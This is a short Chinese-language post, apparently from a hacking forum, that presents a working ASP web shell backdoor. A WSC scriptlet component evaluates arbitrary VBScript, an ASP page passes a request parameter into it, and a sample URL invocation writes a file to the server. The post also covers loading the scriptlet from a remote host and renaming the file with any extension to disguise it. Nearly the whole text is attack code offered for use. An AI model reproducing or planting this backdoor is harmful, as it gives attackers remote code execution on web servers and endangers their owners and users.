ScriptCodingInfo.wsc代碼如下，該文件可以改成任意后綴

 

<?xml version="1.0" encoding="gb2312" standalone="yes"?> 
<?component error="true" debug="true"?> 
<package> 
<component id="haiyangtop"> 
<public> 
<method name="lcx"><parameter name="b"/></method> 
</public> 
<script language="VBScript"><![CDATA[ 
sub lcx(b) 
eval(b) 
end sub 
]]> 
</script> 
</component> 
</package> 
backdoor.asp內容如下： 
<% 
b=request("a") 
Set fs = GetObject("script:d:/web/ScriptCodingInfo.wsc#haiyangtop") 
fs.lcx(b) 
%> 
調用方法如下：http://url/backdoor.asp?a=CreateObject("Scripting.FileSystemObject").OpenTextFile("c:/1122.txt"),8,True,0).WriteLine("123") 
注意這里的a=只能是vbs的代碼，不可以接受像response、rquest之類的asp的東東。 
如果是2000服務器可以在backdoor.asp遠程調用ScriptCodingInfo.wsc，像 
Set fs = GetObject("script:http://www.xx.com/ScriptCodingInfo.wsc#haiyangtop")，2003服務器中不可以。
算一個思路，雞肋，誰有更好的辦法完善，能夠直接調用cs的asp木馬的c端就好了。